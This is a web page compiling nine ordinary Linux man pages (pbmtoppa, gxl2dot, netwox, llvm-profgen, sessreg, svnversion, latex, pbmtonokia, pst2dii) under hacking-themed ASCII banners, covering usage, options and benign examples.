              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2142 - Linux cli command pbmtoppa

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoppa and provides detailed information about the command pbmtoppa, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoppa.

.

NAME 🖥️ pbmtoppa 🖥️

convert PBM image to HP Printer Performance Architecture (PPA)

SYNOPSIS

pbmtoppa [pbm_file [ppa_file]]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoppa converts page images in PBM format to Hewlett Packard’s PPA (Printer Performance Architecture) format, which is the data stream format expected by some HP “Windows-only” printers including the HP Deskjet 820C series, the HP DeskJet 720 series, and the HP DeskJet 1000 series.

pbm_file is the file specification of the input file or - for Standard Input. The default is Standard Input.

The input file contains one or more PBM images, with each one being a single page. Each image must have the exact dimensions of a page (at 600 pixels per inch in both directions). Significantly, this is the format that Ghostscript produces.

ppa_file is the file specification of the output file or - for Standard Output. The default is Standard Output.

To print Postscript on an HP PPA printer, just use Ghostscript with the pbmraw (or pbm) device driver.

You can generate a test page for use with this program with pbmpage.

You can also set up a printer filter so you can submit PBM input directly to your print queue. See the documentation for your print spooler for information on how to do that, or look in hp820install.doc for an example lpd print filter for Postscript and text files.

Sometimes, pbmtoppa generates a file which the printer will not print (because pbmtoppa’s input is unprintable). When this happens, all three lights blink to signal the error. This is usually because there is material outside of the printer’s printable area. To make the file print, increase the margins via pbmtoppa options or a configuration file. See the section on calibration below.

About PPA

The PPA printer language is a far lower level language than most. When you use a PPA printer, most of the processing that a conventional printer does is done instead on the computer end of the wire. In particular, pbmtoppa has to do “swath cutting,” and “sweep formatting,” which other printers do themselves. There is very little intelligence inside a PPA printer; pbmtoppa generates direct controls for the printer’s hardware.

The design goal of PPA was to reduce the cost of a printer by exploiting computing resources already present in the computer that requests the printing. CPU power, ROM, and RAM requirements inside the printer are all reduced compared to a conventional printer.

PPA was new in 1997. It was preceded by Hewlett Packard’s PCL (Printer Control Language) language. HP manufactured PPA printers for only a few years, and no one else ever did.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtoppa recognizes the following command line options:

-v version
printer version (720, 820, or 1000)

-x xoff
horizontal offset adjustment in 1/600 inches.

-y yoff
vertical offset adjustment in 1/600 inches.

-t topmarg
top margin in 1/600 inches (default: 150 = 0.25 inch)

-l leftmarg
left margin in 1/600 inches (default: 150 = 0.25 inch)

-r rightmarg
right margin in 1/600 inches (default: 150 = 0.25 inch)

-b botmarg
bottom margin in 1/600 inches (default: 150 = 0.25 inch)

-s paper
paper size: us or a4. Default is us.

-d dpi
Print resolution in dots per inch.

-f cfgfile
Read parameters from the configuration file named cfgfile. See CONFIGURATION FILES

The offset adjustments you specify with -x and -y accumulate. I.e. if you specify them multiple times, the total offset adjustment is the sum of the adjustments you specify. -x 60 -x 120 is the same as -x 180.

The -v option undoes any preceding -x and -y options, leaving the horizontal and vertical adjustments their default values.

CONFIGURATION FILES

You can use a configuration file to specify parameters rather than use invocation options. pbmtoppa processes the file /etc/pbmtoppa.conf, if it exists, before processing any options. It then processes each configuration file named by a -f option in order, applying the parameters from the configuration file as if they were invocation options used in the place of the -f option.

Configuration files have the following format:

#Comment
key1 value1
key2 value2
[etc.]

Valid keys are version, xoffset, yoffset, topmargin, leftmargin, rightmargin, bottommargin, papersize, or any non-null prefix of these words. Valid values are the same as with the corresponding invocation parameters.

EXAMPLES

Print a test pattern:

pbmpage | pbmppa >/dev/lp1

Print three pages:

cat page1.pbm page2.pbm page3.pbm | pbmppa >/dev/lp1

Print the Postscript file myfile.ps:

gs -sDEVICE=rawpbm -q -dNOPAUSE -r600 \
   -sOutputFile=- myfile.ps ;\
| pbmtoppa | lpr

CALIBRATION

To be able to print successfully and properly, you need to tell pbmtoppa an X and a Y offset appropriate for your printer to use when generating the page. You can specify these offsets with the -x and -y invocation options or with the xoff and yoff parameters in a pbmtoppa configuration file.

To determine the correct offsets, use the pbmpage program.

If while trying to do this calibration, the printer refuses to print a page, but just blinks all three lights, specify large margins (e.g. 600 pixels – one inch) via pbmpage invocation options while doing the calibration.

For example:

pbmpage | pbmtoppa >/dev/lp1

or

pbmpage | pbmtoppa | lpr -l

(if your printer filter recognizes the ‘-l’ (direct output) parameter).

In the test pattern, the grid is marked off in pixel coordinate numbers. Unfortunately, these coordinates are probably cut off before the edge of the paper. You’ll have to use a ruler to estimate the pixel coordinate of the left and top edges of the actual sheet of paper (should be within +/- 300, may be negative; there are 600 pixels per inch).

Add these coordinates to the X and Y offsets by either editing the configuration file or using the -x and -y command-line parameters.

When pbmtoppa is properly calibrated, the center mark should be in the center of the paper. Also, the margins should be able to be as small as 1/4 inch without causing the printer to choke with ‘blinking lights syndrome’.

RED HAT LINUX INSTALLATION

RedHat users may find the following tip from Panayotis Vryonis <[email protected]> helpful. The same should work for the 820 and 1000, but it hasn’t been tested. Also, use the pbmraw GSDriver if you have it; it’s faster.

Here is a tip to integrate HP720C capability in RedHat’s printtool:

Install pbmtoppa. Copy pbmtoppa to /usr/bin.

Edit “printerdb” (in my system it is found in /usr/lib/rhs/rhs-printfilters ) and append the following lines:

----------------------Cut here-----------------------

StartEntry: DeskJet720C
  GSDriver: pbm
  Description: {HP DeskJet 720C}
  About: { \
        This driver drives the HP DeskJet 720C \
        inkjet printer. \
        It cannot do color printing. \
        IMPORTANT! Insert \
           "- | pbm2ppa -" \
        in the "Extra GS Options " field.\
      }

  Resolution: {600} {600} {}

EndEntry
----------------------------------------------------

Now you can add an HP720C printer just like any other, using printtool.

SEE ALSO

pbmpage(1) , pstopnm(1) , pbm(1)

This program was derived from pbm2ppa. pbm2ppa is obsolete and has been replaced by pnm2ppa, which does the same things as pbmtoppa except it also works with color and has lots more features. See http://pnm2ppa.sourceforge.net for more information about the PPA protocol and the separately distributed pnm2ppa program.

The file INSTALL-MORE in the pbmtoppa directory of the Netpbm source code contains detailed instructions on setting up a system to use pbmtoppa to allow convenient printing on HP PPA printers. It was written by Michael Buehlmann.

AUTHOR

Tim Norman. Copyright (C) 1998. Licensed under GNU General Public License

Manual page by Bryan Henderson, May 2000.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoppa.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2143 - Linux cli command gxl2dot

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gxl2dot and provides detailed information about the command gxl2dot, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gxl2dot.

NAME 🖥️ gxl2dot 🖥️

GXL-GV converters

SYNOPSIS

gxl2gv [ -gd? ] [ -ooutfile ] [ files ]
gv2gxl [ -gd? ] [ -ooutfile ] [ files ]

DESCRIPTION

gxl2gv converts between graphs represented in GXL and in the GV language. Unless a conversion type is specified using a flag, gxl2gv will deduce the type of conversion from the suffix of the input file, a “.gv” suffix causing a conversion from GV to GXL, and a “.gxl” suffix causing a conversion from GXL to GV. If no suffix is available, e.g. when the input is from a pipe, and no flags are used then gxl2gv assumes the type of the input file from its executable name so that gxl2gv converts from GXL to GV, and gv2gxl converts from GV to GXL.

GXL supports a much richer graph model than GV. gxl2gv will attempt to map GXL constructs into the analogous GV construct when this is possible. If not, the GXL information is stored as an attribute. The intention is that applying gxl2gv|gv2gxl is semantically equivalent to the identity operator.

OPTIONS

The following options are supported:

-g
The command name and input file extensions are ignored, the input is taken as a GV file and a GXL file is generated.

-d
The command name and input file extensions are ignored, the input is taken as a GXL file and a GV file is generated.

-?
Prints usage information and exits.

-o* outfile*
If specified, the output will be written into the file outfile. Otherwise, output is written to standard out.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in GXL or GV. If no files operand is specified, the standard input will be used.

RETURN CODES

Both gxl2gv and gv2gxl return 0 if there were no problems during conversion; and non-zero if any error occurred.

BUGS

gxl2gv will only convert in one direction even if given multiple files with varying suffixes.

The conversion can only handle one graph per GXL file.

There are some GXL constructs which gxl2gv cannot handle.

AUTHORS

Krishnam Pericherla <[email protected]>
Emden R. Gansner <[email protected]>

SEE ALSO

dot(1), libgraph(3), libagraph(3), neato(1), twopi(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2144 - Linux cli command netwox

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command netwox and provides detailed information about the command netwox, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the netwox.

NAME 🖥️ netwox 🖥️

examples/tools of the network library netwib

VERSION

The version installed on this system is 5.39.0.

IMPORTANT

Manpage do not contain a lot of information. Rather read netwox-5.39.0-doc_html.tgz.

SYNOPSIS

netwox number [ parameters… ]
netwox number –help
netwox number –help2
netwox

PRESENTATION

Toolbox netwox helps to find and solve network problems.

It provides 223 tools : - udp/tcp clients/servers - spoofing - sniffing - address conversion - etc.

Netwox is mainly oriented towards network administrators and security auditors.

Some tools are only a simplified implementation, while others are very sophisticated.

Netwox is available under the GNU GPL license.

DESCRIPTION

number
number of the tool to use

parameters
parameters for the chosen tool number. Parameter –help shows help. Parameter –help2 shows description.

When using netwox without number and parameters, it enters interactive help mode. In this mode, the user has to select a category by pressing a key. Then by choosing a tool number, its corresponding usage is displayed. Note: netwag is easier than interactive help mode.

EXAMPLES

netwox 23 –help
display simple help for tool number 23

netwox 23 –help2
display full description of tool 23. It also display its description.

netwox 23
run tool 23

netwox 23 –extended
run tool 23 with –extended parameter

netwox 23 -e
run tool 23 with -e parameter (synonym for –extended)

All the tools are not described in this manpage. Reading netwox-5.39.0-doc_html.tgz is recommended.

SEE ALSO

netwib(3) netwag(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2145 - Linux cli command llvm-profgen-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-profgen-16 and provides detailed information about the command llvm-profgen-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-profgen-16.

NAME 🖥️ llvm-profgen-16 🖥️

profgen - LLVM SPGO profile generation tool

SYNOPSIS

llvm-profgen [commands] [options]

DESCRIPTION

The llvm-profgen utility generates a profile data file from given perf script data files for sample-based profile guided optimization(SPGO).

COMMANDS

At least one of the following commands are required:

–perfscript=<string[,string,…]>
Path of perf-script trace created by Linux perf tool with script command(the raw perf.data should be profiled with -b).

–binary=<string[,string,…]>
Path of the input profiled binary files.

–output=<string>
Path of the output profile file.

OPTIONS

llvm-profgen supports the following options:

–format=[text|binary|extbinary|compbinary|gcc]
Specify the format of the generated profile. Supported <format> are text, binary, extbinary, compbinary, gcc, see llvm-profdata for more descriptions of the format.

–show-mmap-events
Print mmap events.

–show-disassembly
Print disassembled code.

–x86-asm-syntax=[att|intel]
Specify whether to print assembly code in AT&T syntax (the default) or Intel syntax.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2146 - Linux cli command sessreg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sessreg and provides detailed information about the command sessreg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sessreg.

NAME 🖥️ sessreg 🖥️

manage utmpx/wtmpx entries for non-init clients

SYNOPSIS

sessreg [-w wtmpx-file] [-u utmpx-file] [-L lastlog-file] [-l line-name] [-h host-name] [-s slot-number] [-x Xservers-file] [-t ttys-file] [-V] [-a] [-d] user-name

DESCRIPTION

Sessreg is a simple program for managing utmpx/wtmpx and lastlog entries for xdm sessions.

This version of sessreg is built using the modern POSIX pututxline(3c) interfaces, which no longer require the slot-number, ttys-file, or Xservers-file mappings. For compatibility with older versions and other operating systems, the -s, -t, and -x flags are accepted, but ignored.

USAGE

In Xstartup, place a call like:

       sessreg -a -l $DISPLAY -x /etc/X11/xdm/Xservers $USER

and in Xreset:

       sessreg -d -l $DISPLAY -x /etc/X11/xdm/Xservers $USER

OPTIONS

-w wtmpx-file
This specifies an alternate wtmpx file, instead of /var/log/wtmp. The special name “none” disables writing records to the wtmpx file.

-u utmpx-file
This specifies an alternate utmpx file, instead of /var/run/utmp. The special name “none” disables writing records to the utmpx file.

-L lastlog-file
This specifies an alternate lastlog file, instead of /var/log/lastlog, if the platform supports lastlog files. The special name “none” disables writing records to the lastlog file.

-l line-name
This describes the “line” name of the entry. For terminal sessions, this is the final pathname segment of the terminal device filename (e.g. ttyd0). For X sessions, it should probably be the local display name given to the users session (e.g. :0). If none is specified, the terminal name will be determined with ttyname(3) and stripped of leading components.

-h host-name
This is set to indicate that the session was initiated from a remote host. In typical xdm usage, this options is not used.

-s slot-number
This option is accepted for compatibility, but does nothing in this version of sessreg.

-x Xservers-file
This option is accepted for compatibility, but does nothing in this version of sessreg.

-t ttys-file
This option is accepted for compatibility, but does nothing in this version of sessreg.

-V
This option causes the command to print its version and exit.

-a
This session should be added to utmpx/wtmpx.

-d
This session should be deleted from utmpx/wtmpx. One of -a/-d must be specified.

SEE ALSO

xdm(1), utmpx(5), wtmpx(5)

AUTHOR

Keith Packard, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2147 - Linux cli command svnversion

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svnversion and provides detailed information about the command svnversion, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svnversion.

NAME 🖥️ svnversion 🖥️

Produce a compact version identifier for a working copy.

SYNOPSIS

svnversion [options] [wc_path [trail_url]]

OVERVIEW

Subversion is a version control system, which allows you to keep old versions of files and directories (usually source code), keep a log of who, when, and why changes occurred, etc., like CVS, RCS or SCCS. Subversion keeps a single copy of the master sources. This copy is called the source ``repository’’; it contains all the information to permit extracting previous versions of those files at any time.

For more information about the Subversion project, visit http://subversion.apache.org.

Documentation for Subversion and its tools, including detailed usage explanations of the svn, svnadmin, svnserve and svnlook programs, historical background, philosophical approaches and reasonings, etc., can be found at http://svnbook.red-bean.com/.

Run `svnversion –help’ to access the built-in tool documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2148 - Linux cli command latex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command latex and provides detailed information about the command latex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the latex.

NAME 🖥️ latex 🖥️

structured text formatting and typesetting

SYNOPSIS

latex [first-line]

DESCRIPTION

This manual page is a mere skeleton.

The LaTeX language is described in the book LaTeX - A Document Preparation System. LaTeX is a TeX macro package, not a modification to the TeX source program, so all the capabilities described in tex(1) are present.

The LaTeX macros encourage writers to think about the content of their documents, rather than the form. The ideal, very difficult to realize, is to have no formatting commands (like ``switch to italic’’ or ``skip 2 picas’’) in the document at all; instead, everything is done by specific markup instructions: ``emphasize’’, ``start a section’'.

The primary source of documentation for LaTeX is the LaTeX manual referenced below.

lualatex, pdflatex, pdfcslatex, xelatex are LaTeX formats based on the respective engines. All output PDF by default.
platex, uplatex are Japanese LaTeX formats based on e-pTeX and e-upTeX (DVI output).
lamed is the Aleph-based LaTeX format (DVI output).
dvilualatex is LuaTeX-based and outputs DVI.
cslatex is csTeX-based (primitives integrated into pdfTeX) and outputs DVI.

On some systems latex209 and slitex may still be available for compatibility with older versions of LaTeX. These should not be used for new texts.

SEE ALSO

amstex(1), luatex(1), pdftex(1), ptex(1), tex(1), xetex(1).

Leslie Lamport, LaTeX - A Document Preparation System, Addison-Wesley, 1985, ISBN 020115790X.

Frank Mittelbach, Michel Goossens, Johannes Braams, David Carlisle, and Chris Rowley, LaTeX Companion, Addison-Wesley, 2004, ISBN 0201362996 (2nd edition).

The LaTeX home page is http://latex-project.org.
A list of some LaTeX tutorials is at http://www.tex.ac.uk/cgi-bin/texfaq2html?label=man-latex.
An unofficial reference manual for LaTeX is at https://ctan.org/pkg/latex2e-help-texinfo.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2149 - Linux cli command pbmtonokia

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtonokia and provides detailed information about the command pbmtonokia, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtonokia.

.

NAME 🖥️ pbmtonokia 🖥️

convert a PBM image to Nokia Smart Messaging Formats

SYNOPSIS

pbmtonokia [ -fmt { HEX_NOL, HEX_NGG, HEX_NPM, NOL, NGG, NPM } ] [-net networkcode] [-txt text] [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtonokia reads a PBM image as input and produces a Nokia Smart Messaging (hexcode, .ngg, .nol, .npm) file as output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtonokia recognizes the following command line options:

-fmt
Specifies the output format (default is HEX_NOL).

HEX_NOL
Nokia Operator Logo as (uploadable) hexcode. Use option -net to specify network code.

HEX_NGG
Nokia Group Graphic as (uploadable) hexcode.

HEX_NPM
Nokia Picture Message as (uploadable) hexcode. Use option -txt to specify an optional text message.

NOL
Nokia Operator Logo as .nol format. This is editable by the Group-Graphic Editor from Kessler Wireless Design ( www.kessler-design.com )

NGG
Nokia Group Graphic as .ngg format. This is editable by the Group-Graphic Editor from Kessler Wireless Design ( www.kessler-design.com )

NPM
Nokia Picture Message as .npm format. This is editable by the Picture-Message Editor from Kessler Wireless Design ( www.kessler-design.com )

This option was new in Netpbm 10.36 (October 2006).

-net
Specifies the 6 hex-digit operator network code for Operator Logos (Default is 62F210 = D1,Germany).

-txt
Specifies the text message for Picture Messages. The maximum size text message allowed by the format is 120 characters.

Default is no text message.

LIMITATIONS

This program currently accepts all PBM images with up to 255 rows or up to 255 columns. (Valid Nokia Group Graphics or Operator Logos can be 72 columns by 14 rows and 78 columns by 21 rows; valid Nokia Picture Messages are 72 columns by 28 rows.) This program generates black and white graphics, not animated.

SEE ALSO

AUTHOR

Copyright (C) 2001 Tim Ruehsen <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtonokia.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2150 - Linux cli command pst2dii

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pst2dii and provides detailed information about the command pst2dii, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pst2dii.

NAME 🖥️ pst2dii 🖥️

extract email messages from an MS Outlook .pst file in DII load format

SYNOPSIS

pst2dii [-B bates-prefix] [-O dii-output-file] [-V] [-b bates-number] [-c bates-color] [-d debug-file] -f ttf-font-file [-h] [-o output-directory] pstfilename

OPTIONS

-B bates-prefix

Sets the bates prefix string. The bates sequence number is appended to this string, and printed on each page.

-O dii-output-file

Name of the output DII load file.

-V

Show program version. Subsequent options are then ignored.

-b bates-number

Starting bates sequence number. The default is zero.

-c bates-color

Font color for the bates stamp on each page, specified as 6 hex digits as rrggbb values. The default is ff0000 for bright red.

-d debug-file

Specify name of debug log file. The log file is now an ascii file, instead of the binary file used in previous versions.

-f ttf-font-file

Specify name of a true type font file. This should be a fixed pitch font.

-h

Show summary of options. Subsequent options are then ignored.

-o output-directory

Specifies the output directory. The directory must already exist.

DESCRIPTION

pst2dii reads the email messages from an MS Outlook .pst file and produces a DII load file that may be used to import message summaries into a Summation DII system. The DII output file contains references to the image and attachment files in the output directory.

COPYRIGHT

Copyright (C) 2008 by 510 Software Group <[email protected]>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version.

You should have received a copy of the GNU General Public License along with this program; see the file COPYING. If not, please write to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.

VERSION

0.6.76

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

